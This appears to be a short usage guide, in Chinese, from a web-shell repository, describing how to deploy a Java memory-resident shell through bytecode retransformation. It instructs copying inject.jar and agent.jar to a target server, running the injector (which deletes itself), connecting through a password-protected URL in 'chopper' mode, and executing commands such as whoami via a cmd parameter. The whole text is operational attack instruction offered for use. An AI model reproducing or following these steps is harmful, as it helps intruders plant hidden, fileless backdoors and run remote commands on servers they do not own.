webshell/java/字节码增强型/retransform字节码.md

19 lines
347 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

将release中的inject.jar agent.jar复制目标服务器。
运行inject.jar:
(测试时注意备份会删除自身和agent.jar)
```jsp
java -jar inject.jar 123
```
连接内存马:
```jsp
http://ip:port/1.jsp?pass_the_world=123&model=chopper
```
执行命令:
```jsp
http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami
```